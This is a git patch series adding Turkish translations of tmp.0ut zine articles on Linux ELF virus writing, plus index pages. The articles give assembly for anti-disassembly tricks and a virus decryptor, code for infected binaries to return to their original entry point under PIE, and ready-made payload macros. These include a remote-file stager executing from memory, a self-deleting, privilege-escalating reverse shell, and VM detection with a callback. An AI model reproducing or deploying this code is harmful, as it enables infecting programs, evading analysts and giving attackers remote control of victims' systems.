From 65ccce9e26014d8523f630c35199851c575c2708 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?M=2E=20Akil=20G=C3=BCndo=C4=9Fan?= <84398756+0xr3act0r@users.noreply.github.com> Date: Sat, 1 Jul 2023 14:41:54 +0300 Subject: [PATCH 01/13] translated into Turkish --- 1/tr/6.html | 245 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 245 insertions(+) create mode 100644 1/tr/6.html diff --git a/1/tr/6.html b/1/tr/6.html new file mode 100644 index 0000000..1c29a3a --- /dev/null +++ b/1/tr/6.html @@ -0,0 +1,245 @@ + +
++ ┌───────────────────────┐ + ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │ + │ █ █ █ █ █ █ │ + │ █ █ █ █ █▀▀▀▀ │ + │ █ █ █ █ ▄ │ + │ ▄▄▄▄▄ │ + │ █ █ │ + │ █ █ │ + │ █▄▄▄█ │ + │ ▄ ▄ │ + │ █ █ │ + │ █ █ │ + │ █▄▄▄█ │ + │ ▄▄▄▄▄ │ + │ █ │ +The Polymorphic False-Disassembly Technique │ █ │ +~ S01den └───────────────────█ ──┘ + +[ @akilgundogan / M. Akil Gündoğan tarafından çevrilmiştir.] +tmp.out tayfadan s01den tarafından sevgiyle yazıldı ! +mail: S01den@protonmail.com + +--- Giriş --- + +Lin32.Bakunin[0]'i yazmaya başladığımda bunu MIPS assembly ile yazılmış aptal bir +virüsten nasıl daha iyi bir hale getirebilirim diye düşündüm. Biraz da tersine mühendisleri +sinirlendirmek istedim. Bu yüzden daha önceleri bazı crackme'lerde kullandığım +false-disassembly tekniği aklıma geldi. + +Nedenine gelecek olursanız, polimorfik özellikler çok havalı, ben de false-disassembly tekniği +ile başka bazı yöntemleri karıştırarak ilginç şeyler yapılıp yapılamayacağını merak ettim. + +Tabii ki böyle ilginç şeyler yapmak mümkün oldu, (yeni bir teknik mi yoksa önceden de var mıydı +tam emin değilim) ben bu trick'e "Polymorphic false-disassembly" veya basitçe "Fake polymorphism" +diyorum. + +--- false-diassembly nasıl çalışır ? --- + +Bu tekniğin gerçekten hem anlanaması hem de uygulaması oldukça kolaydır. +Bunu Silvio Cesare[1]'ın Linux anti-debugging hakkındaki ünlü bir yazısında keşfettim. +Sadece assembly kodunuzu yazmadan önce birkaç byte eklemeniz gerekiyor: + + +-------------------- kes-burayı -------------------- +hey: hey: + xor %rbx, %rbx .ascii "\x48\x31" + jmp yo ====> xor %rbx, %rbx + jmp yo +--------------------------------------------------- + + +Şimdi, bu kodun disassembly edilmiş haline baktığımızda (radare2 iyidir) şöyle bir şeyler görürüz: + +-------------------- kes-burayı -------------------- +;-- hey: +0x00401002 4831db xor rbx, rbx +0x00401005 eb02 jmp 0x401009 + + || + \/ +;-- hey: +0x00401002 48314831 xor qword [rax + 0x31], rcx +0x00401006 dbeb fucomi st(3) +0x00401008 026631 add ah, byte [rsi + 0x31] + +--------------------------------------------------- + +Peki disassembler neden böyle davranıyor ? + +Bildiğiniz gibi, \x48\x31 normalde bir xor komutunu başlatır[2] ve takip eden byte'lar +genellikle üzerinde işlemler yaptığımız register'ları yönetebilmemize imkan tanır. + +Bu nedenle "initialisation" byte'ları bu byte'ları takip eder, kendileri de bir "initialisation" +byte'ı olan diğer byte'lara yapışırlar. Bu nedenle disassemblerlar onları birer "register" +byte'ı sandığından, istenen talimatlar yerine birtakım saçmalıklar görüntülenmiş olur. + +Bu nedenle böyle bir kodu yürütebilmek için az önce koyduğumuz bu byte'ların üzerinden +atlamamız gerekir. +Şöyle bir şey: + +-------------------- kes-burayı -------------------- +_start: +jmp hey+2 + +hey: + .ascii "\x48\x31" + xor %rbx, %rbx + jmp yo +--------------------------------------------------- + +--- c0de'un tamamı --- + +Şimdi her yürütme ve bulaşma esnasında false-disassembly'e neden olan byte'ları değiştirebildiğnizi +hayal edin. Tersine mühendisler kodu incelerken polimorfik olduğunu ve yalnızca birkaç byte'ın gerçekten +değişiklik gösterdiğini zannedecektir. + +Ve şimdi daha fazla arkasını uzatmadan tam kodu size sunuyorum: + +----------- kes-burayı ----------- +# komutları derle: as Linux.FakePolymorphism.asm -o fakePoly.o ; ld fakePoly.o -o fakePoly + +# bu kod sahte bir polimorfik örneğidir, kullanmakta/denemekte/artık her ne yapacaksanız özgürsünüz. +# Kendi kodunu alır, false-disassembly byte'larını değiştirir ve sonucu stack'e koyar. + +.text + .global _start + +_start: +jmp true_start+2 # fake-disassembly byte'larına atlar + +true_start: +.ascii "\x48\x31" # fake-disassembly byte'ları +xor %rbx, %rbx +jmp get_code+2 # fake-disassembly byte'larına atlar + +get_code: + .ascii "\x66\x31" # fake-disassembly byte'ları + call get_rip + sub $0x10 ,%rax # 0x10 _start ile bu komut arasındaki byte sayısını ifade eder + movb (%rax,%rbx), %al + movb %al, (%rsp,%rbx) + inc %rbx + cmp $0x54, %rbx # 0x54 kodun toplam genişliğidir + jne get_code+2 + + # Zamana bağlı olarak sahte sayı üreticisi + rdtsc + xor $0xdead, %rax + mov %ax, 2(%rsp) + xor $0xbeef, %rdx + mov %ax, 9(%rsp) + + mov $60, %rax + mov $0, %rdi + syscall # sys_exit + +get_rip: + mov (%rsp), %rax + ret +---------------------------- + +-- Sonuç -- + +Bu yazıyı okurken oldukça keyif aldığınızı ve öğrendiğiniz teknikleri +crackme'ler ile virüslerinizde kullanmaya çalışacağınızı umuyorum! + +sblip ile bir polimorfik virüs yazdık (Lin64.Eng3ls, makaleyi ve kodu inceleyin !) ve +bu tekniği kullanarak decyrptor'u obfuscate etmeye çalıştık. + +Decryptor kodu: + +------- KES-BURAYI ------- + pop rcx + jmp jmp_over+2 + jmp_over: + db `\x48\x31` ; false disassembly + mov al,0x00 + xor rdx, rdx + + decoder: + jmp jmp_over2+2 + + jmp_over2: + db `\xb8\xd9` ; false disassembly + mov dl, byte [r12+rdi] + cmp rdi, STUB_SIZE-1 + jna no_decrypt + + jmp jmp_over3+2 + jmp_over3: + db `\x48\x81` ; false disassembly + xor dl, al + + no_decrypt: + mov byte [rbx+rdi], dl + inc rdi + loop decoder +------------------------- + +İşte virüs bulaşmış ikili dosyalar disassembly edilerek elde edilmiş decryptor'lar[3]. Hadi +tekniğimizi iş başında görelim. + +1. + 0x0c003f46 59 pop rcx + 0x0c003f47 eb02 jmp 0xc003f4b + 0x0c003f49 00d6 add dh, dl + 0x0c003f4b b06d mov al, 0x6d + 0x0c003f4d 4831d2 xor rdx, rdx + 0x0c003f50 eb02 jmp 0xc003f54 + 0x0c003f52 1aca sbb cl, dl + 0x0c003f54 418a143c mov dl, byte [r12 + rdi] + 0x0c003f58 4881ff870000. cmp rdi, 0x87 + 0x0c003f5f 7606 jbe 0xc003f67 + 0x0c003f61 eb02 jmp 0xc003f65 + 0x0c003f63 c0d630 rcl dh, 0x30 + 0x0c003f66 c28814 ret 0x1488 + 0x0c003f69 3b48ff cmp ecx, dword [rax - 1] + 0x0c003f6c c7 invalid + 0x0c003f6d e2e1 loop 0xc003f50 + +2. + 0x0c003fe6 59 pop rcx + 0x0c003fe7 eb02 jmp 0xc003feb + 0x0c003fe9 ce invalid + 0x0c003fea 0ab0a34831d2 or dh, byte [rax - 0x2dceb75d] + 0x0c003ff0 eb02 jmp 0xc003ff4 + 0x0c003ff2 39cb cmp ebx, ecx + 0x0c003ff4 418a143c mov dl, byte [r12 + rdi] + 0x0c003ff8 4881ff870000. cmp rdi, 0x87 + 0x0c003fff 7606 jbe 0xc004007 + 0x0c004003 0e invalid + 0x0c004004 0a30 or dh, byte [rax] + 0x0c004006 c28814 ret 0x1488 + 0x0c004009 3b48ff cmp ecx, dword [rax - 1] + 0x0c00400c c7 invalid + 0x0c00400d e2e1 loop 0xc003ff0 + + +Sonuçlar gerçekten orijinal koddan oldukça farklı. + +--- Notlar ve Kaynakça: --- +[0] https://vx-underground.org/papers/VXUG + /Exclusive/Bakounin/Writing_virus_in_MIPS_assembly_for_fun.txt +[1] http://www.ouah.org/linux-anti-debugging.txt // silvio'nun yazısı +[2] https://www.felixcloutier.com/x86/xor +[3] radare2 ile +
+ ┌───────────────────────┐ + ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │ + │ █ █ █ █ █ █ │ + │ █ █ █ █ █▀▀▀▀ │ + │ █ █ █ █ ▄ │ + │ ▄▄▄▄▄ │ + │ █ █ │ + │ █ █ │ + │ █▄▄▄█ │ + │ ▄ ▄ │ + │ █ █ │ + │ █ █ │ + │ █▄▄▄█ │ + │ ▄▄▄▄▄ │ + │ █ │ +Return To Original Entry Point Despite PIE │ █ │ +~ S01den └───────────────────█ ──┘ + +[ @akilgundogan / M. Akil Gündoğan tarafından çevrilmiştir.] +tmp.out tayfadan s01den tarafından sevgiyle yazıldı ! + +--- 1) Giriş --- + +Virüsler dünyasına ilk adım attığımda, ilk düşündüğüm şey ve karşılaştığım zorluk, +programın asıl başlangıç noktasının (OEP) nasıl doğru bir şekilde geri döndürülebileceğiydi. +Bu temel özellik isim yapmış her virüste yer alan bir özellikti ve geçmişte oldukça kolay +bir şekilde uygulamak mümkündü (mov ebx, OEP; jmp ebx). + +Şu anda neden bu kadar kolay olmadığını merak ediyor olabilirsiniz. + +Bu sorunuzun cevabı yalnızca 3 harf: PIE, yani Position Independent Executable özelliği. +PIE kullanılan ikili (binary) dosyalarda her çalıştırmada talimatların başlangıç adresi +rastgele bir şekilde belirlenir. Yani programın başlangıç noktası olan OEP sabit kalmaz, +istediklerimizi uygulayabilmek için birtakım hesaplamalar yapmak zorundayız. + +Hemen bunu nasıl yapacağımızı görelim ! + +--- 2) PIE'ye rağmen OEP'e dönüş --- + +Burada Lin64.Kropotkine[0]'da kulalndığım Ret2OEP hesaplama yöntemini kullanacağım. +Birkaç gün bu konuda takılıp kalsam da nihayet Elfmaster[1]'ın bir makalesi bana ışığı gösterdi. + +İşte kodumuz: + +-------------------------------- BURAYI-KES ------------------------------------------ +mov rcx, r15 ; r15 virüs kodumuzun depolandığı adresi stack üzerinde tutar +add rcx, VXSIZE ; rcx artık virüs kodumuzdan daha sonra gelen ilk adresi içerir +mov dword [rcx], 0xffffeee8 ; önceki 13 baytta bulunan get_eip fonksiyonuna relative call +mov dword [rcx+4], 0x0d2d48ff ; sub rax, (VXSIZE+5) +mov byte [rcx+8], 0x00000005 +mov word [rcx+11], 0x0002d48 +mov qword [rcx+13], r9 ; sub rax, entry0 +mov word [rcx+17], 0x0000548 +mov qword [rcx+19], r12 ; add rax, sym._start +mov dword [rcx+23], 0xfff4894c ; mov rsp, r14 +mov word [rcx+27], 0x00e0 ; jmp rax +------------------------------------------------------------------------------------ + +Gördüğünüz gibi, OEP'e geri dönüş yapacak kodu byte byte doğrudan belleğe yazıyoruz ki +(virüs kodundan sonra, önceki virüs kodunun yürütülmesinden hemen ardından bu rutine +dönüş yapabiliriz) yazacağımız byte'lar hedefi enfekte edebilsin. Şöyle bir şey görmek +istiyoruz: + +(bu kod, Lin64.Kropotkine ile enfekte ettiğim /bin/date dosyamdan geliyor) + +-------------------------------- BURAYI-KES ------------------------------------------ +; virüs kodumuzun sonu +get_rip: +0x0c01ada3 488b0424 mov rax, qword [rsp] +0x0c01ada7 c3 ret +getdot: +0x0c01ada8 e842fbffff call 0xc01a8ef ; call main +0x0c01adad 2e0000 add byte cs:[rax], al ; '.' +; <---- virüs kodunun sonundayken ret2OEP kodumuzu buraya eklemek istiyoruz. +; Burası olmasını istediğimiz kod: +0x0c01adb0 e8eeffffff call 0xc01ada3 ; call get_rip <-- +0x0c01adb5 482d0d050000 sub rax, 0x50d ; sub rax, (VXSIZE+5) +0x0c01adbb 482da8a8010c sub rax, entry0 +0x0c01adc1 4805b0380000 add rax, 0x38b0 ; add rax, sym._start +0x0c01adc7 4c89f4 mov rsp, r14 ; orijinal stack'e dönüş +0x0c01adca ffe0 jmp rax +------------------------------------------------------------------------------------ + +Temelde, OEP'i hesaplamak gerçekten komplike veya zor bir şey değildir. + +Diyelim ki, host tarafından yürütülecek orijinal kodun üzerinde yer alan ilk komutun +ofseti (yani rastgele hale getirilmemiş OEP'in) 0x38b0 ve RIP'imiz +0x55556156edb5 (rastgele bir adres) olsun. get_rip'i çağırdığımızda +(yukarıdaki kodda 0x0c1adb0) bir değer elde edelim. Biz istiyoruz ki OEP'e +atlayabilelim, bu yüzden OEP'in rastgele adresini öğrenmemiz gerekiyor. + +Pekalâ devam edelim, call get_rip komutu RIP'i RAX'e koyar, bu yüzden virüsün başlangıç adresini +elde edebilmek için RAX (0x55556156edb5) üzerinden virüsün boyutunu (ve ek olarak +get_rip çağrısının boyutu olan 5'i) çıkarmamız gerekiyor. + +---> 0x55556156edb5 - (0x508 + 5) = 0x55556156e8a8 ; virüs kodumuzun ilk talimatının +adresi + +Şimdi, bu yeni entry point ile virüs kodunun rastgeleleştirilmemiş/non-randomized +başlangıcı (önceden virüsün çalışması esnasında hesaplanan, bizim durumumuzda +bu 0xc01a8a8) birbirinden çıkarılır. + +Yani aslında sadece yaptığımız şey bu: + +---> rastgeleleştirilmiş yeni entry point noktası - rastgeleleştirilmemiş yeni entry point (e_hdr.entry) + +Elimizdeki değerleri kullanarak şöyle bir işlem gerçekleştirip, bir değer elde edeceğiz. + +---> 0x55556156e8a8 - 0xc01a8a8 = 0x555555554000 + +Yukarıdaki çıkarma işlemi ile hedeflediğimiz şey rastgeleleştirme işleminin tabanını/base'ini +elde etmekti. Artık elimizdeki bu değere sadece orijinal e_hdr.entry'i eklememiz gerekiyor. +(randomize edilmemiş OEP): + +---> 0x555555554000 + 0x38b0 = 0x5555555578b0 + +Artık atlayabileceğiniz doğru bir adrese sahipsiniz ! +Yani jmp rax host'a ait orijinal kodu yürütmeye başlayacaktır ! + +--- Sonuç --- +Kısa bir özet geçecek olursak, az önce yaptığımız şey buydu: + +---> get_rip() - (VX_SIZE + 5) - new_EP + original-e_hdr.entry + +Gördüğünüz gibi çok kolay bir matematiksel işlem ! ;) +Çok yaşa vx scene ! +Burada otoriteler var, özgürlük yok. +Her şey, herkes içindir. +Hasta siempre! + +--- Notlar ve referanslar --- +[0] https://github.com/vxunderground/MalwareSourceCode + /blob/main/VXUG/Linux.Kropotkine.asm +[1] Modern ELF Infection Techniques of SCOP Binaries: + https://bitlackeys.org/papers/pocorgtfo20.pdf + - özellikle şu kısım: "Note on resolving Elf_Hdr->e_entry + in PIEexecutables" + +--- Kaynakça --- + +- Linux.Kropotkine.asm +
+ ┌───────────────────────┐ + ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │ + │ █ █ █ █ █ █ │ + │ █ █ █ █ █▀▀▀▀ │ + │ █ █ █ █ ▄ │ + │ ▄▄▄▄▄ │ + │ █ █ │ + │ █ █ │ + │ █▄▄▄█ │ + │ ▄ ▄ │ + │ █ █ │ + │ █ █ │ + │ █▄▄▄█ │ + │ ▄▄▄▄▄ │ + │ █ │ +Giriş │ █ │ +~ tmp.0ut ekibi └───────────────────█ ──┘ +[ @akilgundogan / M. Akil Gündoğan tarafından çevrilmiştir.] +tmp.0ut'un bir sonraki yayınına hoş geldiniz. + +Biz ELF dosyalarıyla ilgilenmeyi seven insanlarız, dergimiz de bu konu üzerine +ve şu anda ikinci sayısını okuyorsunuz. + +Dergimizde emeği geçen herkese ve özellikle grenlith, koronkowy, barbie, hexadecim8'e çok +teşekkürler. + +Kimsenin merakınızı elinizden almasına izin vermeyin. +
+ ▀█████████▄ ▄▄▄▄███▄▄▄▄ ▄
+ ███ 00 ███ ▄ █ █▀▀▀███▀▀▀█ █ ▄ █ █
+ ███ ███ █ █ █fff███ █0x90 █ █
+ ▄███▄▄90▄██ █ █ █ ███ █ █ █ █ █
+ ▀▀███▀▀▀██▄ █ █ ███ █ █ █0x
+ ███0xc0██▄ █ █ █ ███ █ █ █ █ █
+ ███c3 ███ █ █ █ 0x0fff█ █ █ █ █ █
+ ▄█████|████▀ ▀ █ ███ | ▀ █▄▄▄▄█ █
+ | | |
+ | | |
+ | | |
+ | . | . | . . . . .
+ | . . | * . | . * . . .
+ | . . | . * | * . * . .
+ ~~~~~~~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ - - - - - - - - - - - - - - =]D>
+ | . . | * * | . * * .
+ | . | . | . * . * *
+ | | . | * . . *
+ |---- [Bare] | | .
+ | |
+ [Metal] ----| |
+ |
+ [Jacket]-----------------------------|
+
+
+ ----{ Wintrmvte @ redcodelabs.io <*> }----
+
+
+[ @akilgundogan / M. Akil Gündoğan tarafından çevirilmiştir. ]
+| - - - - [ Giriş ]
+
+Birkaç yıl önce el ile shellcode yazmaya başladığımda, çok sayıda harika kaynak ve
+referanslara sahip olduğundan (başta SLAE olmak üzere) genellikle x86_x64 mimarisinde
+kalmaya gayret ettim.
+
+Benim için 64 bit ekosistemine geçiş oldukça zor oldu, çünkü piyasada yer alan
+kaynakların çoğu modern Linux senaryolarını karşılamıyordu ve low-level bir yaklaşımla
+ele almıyordu. Bunu yapanlar da genellikle birkaç temel kavramlara değinmekle yetiniyordu.
+
+Bu araç yeni bir şey ortaya koymaz ama gelecekteki projelerinize eminim ki yardımcı olacak.
+Burada görev otomasyonu/task otomation için standart NASM makrolarının yanı sıra
+assembly tekniklerinizi geliştirecek birtakım kompleks makrolar da bulacaksınız.
+
+
+
+| - - - - [ Örnek #1 = Kod Yürütme/Command Execution ]
+
+Öncelikle çok düz bir örnekle başlayacağız - arbitrary command execution / keyfi kod yürütme
+Kodumuz yükseltilmiş sistem yetkileriyle çalıştırılıp çalıştırılmadığını kontrol etmelidir.
+Eğer öyleyse arka planda bir shell oturumu başlatır ve sistemi yeniden başlatmaya çalışır.
+
+------------ cmd_exec.asm -----------
+ BITS 64
+ %include "bmj.asm"
+ section .text
+ global _start
+ _start:
+ is_root ; Eğer UID=0 ise RAX'a 1 döndür.
+ cmp rax, 1 ; Yukarıda belirlenen şartı kontrol eder
+ jne xit ; Eğer root değilse yürütme akışından exit(0) ile çıkın
+ run_bg "echo pvvned" ; Çalıştırmak istenen komut
+ reboot
+ xit: ; Program çıkışı
+ exit 0
+--------------------------------------
+
+Haydi derleyelim:
+
+ $ nasm -f elf64 -o cmd_exec.o cmd_exec.asm
+ $ ld -m elf_x86_64 cmd_exec.o -o cmd_exec
+
+Oluşturulan ELF dosyasını sudo eki ile ve sudo eki olmadan çalıştırmayı deneyin.
+
+
+
+| - - - - [ Örnek #2 = Zaman Manipülasyonu ve Second Stage Loader'lar]
+
+Şimdi biraz daha kompleks bir şeyler oluşturalım. Başlangıçta payload'ımız kendisi
+için bir yaşam süresi oluşturacaktır (5 dakika diyelim).
+
+Bu zaman dilimi içerisinde uzak bir dosyayı (mesela yürütülebilir dosyalar veya bir LKM gibi.) bir
+in-memory file descriptor ile eşlemeye çalışır.
+
+Eğer server dosyaların bulunduğu sunucuyla herhangi bir nedenden ötürü
+bağlantı başarısız olursa her connect(2) denemesi 20 saniyelik aralarla sonsuz
+bir döngü şeklinde devam eder.
+
+Haydi koda göz atalım :
+
+------------------------------- timed_stager.asm -----------
+ BITS 64
+ %include "bmj.asm"
+ section .text
+ global _start
+ _start:
+
+ set_ttl 5, MINUTES ; Daha önceden tanımlanmış bir time constant kullanarak payload'ın çalışma süresini belirliyoruz
+ ; Bu süreç sonunda mevcut process SIGALRM gönderip çıkış yapar
+
+ infinite_loop file_download, 20, SECONDS
+
+ file_download:
+ init_sock_tcp ; RAX üzerinde yeni bir TCP soketi açılır
+ push rax
+ pop r11 ; Soketin fd'si (file descriptor) daha sonra saklanmak üzere kaydedilir
+ sock_connect "127.0.0.1", 4444
+ ; Yukarıda belirtilenler dosya sunucusuna dair bilgiler
+ memfd_create ; in-memory file descriptor oluşturulur ve RAX'a return edilir
+ push rax
+ pop r12
+ fd2fd ; Bir file descriptor içeriğini okuyup diğerine yazar
+ ; Açık olarak işlenen operand'lar r11 (kaynak) ve r12 (hedef) şeklindedir fakat herhangi bir register da kullanılabilir
+ ret ; 'file_download:' etiket akışını bir 'ret' ile durdurmayı unutmayın
+ . . . ; Artık dosyamızı 'fd_exec r12' gibi bir makroyla çalıştırabilir veya istediğimiz herhangi bir şey yapabiliriz. (nmap() gibi)
+-------------------------------------------------------------
+
+sock_connect kullandığımızdan sunucunun adresini hex olarak belirtmemiz gerekmediğine dikkat edin
+çünkü ilgili makro hex dönüştürücüye sahip.
+
+
+| - - - - [ Örnek #3 = Sadece Reverse Shell Değil]
+
+Üçüncü örneğimiz, basit bir TCP reverse shell örneğinden oluşuyor.
+
+Eğer belirli koşullar sağlanırsa yürütülebilir dosyası dosya sistemi üzerinden kaldırılır
+ve process'in öncelik seviyesi yükseltilir ('htop' üzerinde de görülebileceği gibi)
+
+Yükümüz ayrıca yetkilerini yükseltmeye çalışır (fakat genellikle acıklı bir şekilde başarısız olur)
+ve TTY'den kendisini ayırır.
+
+Tam daemon-benzeri davranış (setsid(0x00) eklentisi) 0x05 ile ifade edilmiş 'daemon_init' makrosunda
+bulunabilir.
+
+------------------------------- reverse_shell.asm -----------
+ BITS 64
+ %include "bmj.asm"
+ section .text
+ global _start
+ _start:
+ remove_self ; Eğer ikili dosyanın boyutu aşağı yukarı mevcut yükün boyuna (fsize değişkenine eşitse) kendini kaldırır
+ set_priority MAX_PRIO ; Process önceliğini maksimum hale getiririz
+ elevate_full ; SETGID(0) ve SETUID(0) aracılığıyla yetki yükseltme denemesi
+ tty_detach ; setsid(0x00) == TTY'den ayrılınır
+ revshell "127.0.0.1", 5555 ; Spawn a standard TCP reverse shell Standart bir TCP reverse shell oturumu başlatılır
+ get_current_size_var ; 'remove_self' makrosu tarafından kullanılan 'fsize' değişkeni aktif hale getirilir
+-------------------------------------------------------------
+
+
+
+| - - - - [ Örnek #4 = Size Padding ve VM Tespiti]
+
+Son olarak kısa bir NOP sled eklemek için iki padding makrosu kullanalım ve payload'ımızın
+boyutunu toplam 256 byte'a çıkaralım.
+
+Ayrıca payload'ı yürütmenin başarılı olup olmadığını kontrol etmek için ana bilgisayara
+öylesine bir pingback isteğinde bulunalım.
+
+Ayrıca en üste bir sanallaştırma tespit yöntemi ve kodumuzun tek ana bilgisayarda zombi benzeri
+davranışlar sergilemesini engellemek için bir dosya kilidi ayarlayalım.
+
+------------------------------- vm_and_stuff.asm -----------
+ BITS 64
+ %include "bmj.asm"
+ section .text
+ global _start
+ _start:
+ nops 40
+ flock ; Aynı anda çalışan yükler yalnızca tek bir işlem önceliğinde çalışmaya zorlanır
+ vm_age ; /etc/hostname'in STATX yapısını inceleyerek bir VM içerisinde başlayıp başlamadığımızı kontrol eder
+ disable_aslr ; Gelecekteki kullanımlar için ASLR devre dışı bırakılır
+ sock_connect "127.0.0.1", 6666 ; Reverse TCP pingback adresi
+ padd_byte 256, 0x90 ; Nasm ile oluşturulduktan sonra toplamda payload boyutunun 256 byte olması için '0x90' ile doldurulur.
+-------------------------------------------------------------
+
+
+Okuduğunuz için teşekkürler, III. sayıda görüşürüz ! o/
+
+[0] https://github.com/redcode-labs/BMJ
+
From 0bf4e0fe059bbcb0417e7b39b55e7c127e814765 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?M=2E=20Akil=20G=C3=BCndo=C4=9Fan?=
<84398756+0xr3act0r@users.noreply.github.com>
Date: Sun, 2 Jul 2023 22:58:44 +0300
Subject: [PATCH 08/13] Created index.html for tr
---
2/tr/index.html | 79 +++++++++++++++++++++++++++++++++++++++++++++++++
1 file changed, 79 insertions(+)
create mode 100644 2/tr/index.html
diff --git a/2/tr/index.html b/2/tr/index.html
new file mode 100644
index 0000000..cdeb21b
--- /dev/null
+++ b/2/tr/index.html
@@ -0,0 +1,79 @@
+
+
++From e6559d258203ecba0611eab8775952601fef5eee Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?M=2E=20Akil=20G=C3=BCndo=C4=9Fan?= <84398756+0xr3act0r@users.noreply.github.com> Date: Sun, 2 Jul 2023 23:02:16 +0300 Subject: [PATCH 09/13] added tr/ in index.html --- 2/index.html | 3 +++ 1 file changed, 3 insertions(+) diff --git a/2/index.html b/2/index.html index 2ccc665..4dcd80e 100644 --- a/2/index.html +++ b/2/index.html @@ -76,4 +76,7 @@┌─ ─┐ +┌─VOLUME2─┐ ┌─VOLUME2─┐ +▀▀▀▀▀ █▀▀▀▀▀▀ [00] Intro ......................................................... tmp.0ut Staff▀▀▀▀▀ █▀▀▀▀▀▀ +│ █ │ [01] Bare Metal Jacket ................................................. Wintrmvte│ █ │ +│ │ [02] A short note on entrypoint obscuring in ELF binaries ................. s01den│ │ +█▀▀▀▀ █▀▀▀▀▀█ [03] Some ELF Parser Bugs .............................................. netspooky█▀▀▀▀ █▀▀▀▀▀█ +█│ ▀ │█ [04] every Boring Problem Found in eBPF .............................. FridayOrtiz█│ ▀ │█ +│ │ [05] SHELF encounters of the elements kind ................................ ulexec│ │ +█▀▀▀▀▀▀▀▀▀▀▀█ [06] Preloading the linker for fun and profit .......................... elfmaster█▀▀▀▀▀▀▀▀▀▀▀█ +█▀▀▀▀▀▀▀▀▀▀▀▀ [07] Lin64.M4rx: How to write a virtual machine in order to hide█▀▀▀▀▀▀▀▀▀▀▀▀ +│ │▀ your viruses and break your brain forever ............................ s01den│ │▀ +█▀▀▀▀▀▀▀▀▀▀▀█ [08] Lin64.M4rx.asm ....................................................... s01den█▀▀▀▀▀▀▀▀▀▀▀█ +█▄▄▄▄▄▄▄▄▄▄▄█
[09] MARX OF THE BEAST - RE of Lin64.M4rx ................................. qkumba█▄▄▄▄▄▄▄▄▄▄▄█
+│ │ [10] A brief tour of VXnake by anonymous_ ............................. hexadecim8│ │ +█│ │█ [11] Elf Binary Mangling Pt. 4: Limit Break ............................ netspooky█│ │█ +█▄▄▄▄▄▄▄▄▄▄▄█ [12] Bashing ELFs Like a Caveman ............................................. RiS█▄▄▄▄▄▄▄▄▄▄▄█ +│ │ [13] BGGP2021 Wrapup ................................................... netspooky│ │ +▀▀▀▀▀ █▀▀▀▀▀▀ [14] 84 byte aarch64 ELF ............................................... netspooky▀▀▀▀▀ █▀▀▀▀▀▀ +│ █ │ [15] ELF Resources and Links ....................................... tmp.0ut Staff│ █ │ +└─FEB2022─┘ └─FEB2022─┘ +└─ ─┘ + +